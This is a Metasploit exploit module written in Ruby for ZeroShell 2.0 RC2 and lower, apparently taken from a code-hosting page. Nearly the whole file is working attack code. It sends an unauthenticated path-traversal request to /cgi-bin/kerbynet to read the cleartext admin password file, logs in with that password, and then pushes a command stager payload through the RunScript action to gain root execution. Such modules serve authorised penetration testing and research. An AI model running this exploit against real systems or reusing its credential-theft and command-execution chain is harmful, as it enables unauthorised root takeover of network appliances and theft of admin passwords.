156 lines
4.4 KiB
Ruby
156 lines
4.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStagerEcho
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "ZeroShell Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
|
|
It will leverage an unauthenticated local file inclusion vulnerability in the
|
|
"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
|
|
This file contains the admin password in cleartext. The password is used to login
|
|
as the admin user. After the authentication process is complete it will use the
|
|
RunScript action to execute the payload with root privileges.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Yann CAM', # Discovery, PoC
|
|
'xistence <xistence[at]0x90.nl>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ]
|
|
],
|
|
'Platform' => ['linux'],
|
|
'Arch' => ARCH_X86,
|
|
'Targets' =>
|
|
[
|
|
['ZeroShell 2.0 RC2', {}]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => "Sep 22 2013",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
|
|
], self.class)
|
|
end
|
|
|
|
def uri
|
|
return target_uri.path
|
|
end
|
|
|
|
def check
|
|
# Check version
|
|
print_status("#{peer} - Trying to detect ZeroShell")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri)
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /ZeroShell/
|
|
print_good("ZeroShell detected")
|
|
end
|
|
|
|
unless password.nil?
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
# Retrieve admin password using unauthenticated LFI
|
|
def password
|
|
rootpw = "../../../var/register/system/ldap/rootpw"
|
|
print_status("#{peer} - Retrieving cleartext admin password")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
'vars_get' => {
|
|
'Section' => "NoAuthREQ",
|
|
'Action' => "Render",
|
|
'Object' => rootpw
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200 and res.body !~ /not found/
|
|
res.body =~ /^(.*)$/
|
|
pass = $1
|
|
print_status("#{peer} - Password retrieved [ #{pass} ]")
|
|
return pass
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
|
|
# Login using the retrieved password and grab the session key from the response body.
|
|
def login(admin_password)
|
|
print_status("#{peer} - Log in and retrieving session key")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
'vars_post' => {
|
|
'Action' => "StartSessionSubmit",
|
|
'User' => "admin",
|
|
'PW' => admin_password
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
|
|
sessionkey = $1
|
|
print_status("#{peer} - Session key retrieved [ #{sessionkey} ]")
|
|
return sessionkey
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
|
|
end
|
|
end
|
|
|
|
# The RunScript action will run shell commands directly with root privileges.
|
|
def execute_command(cmd, opts)
|
|
script_name = rand_text_alphanumeric(8)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
|
'vars_post' => {
|
|
'Action' => "RunScript",
|
|
'Section' => "Setup",
|
|
'STk' => @session,
|
|
'ScriptName' => script_name,
|
|
'Script' => cmd + '&'
|
|
}
|
|
})
|
|
|
|
if res and res.code != 200
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
|
|
end
|
|
|
|
end
|
|
|
|
def exploit
|
|
admin_password = password
|
|
if admin_password.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
|
|
end
|
|
|
|
@session = login(admin_password)
|
|
|
|
execute_cmdstager
|
|
end
|
|
|
|
end
|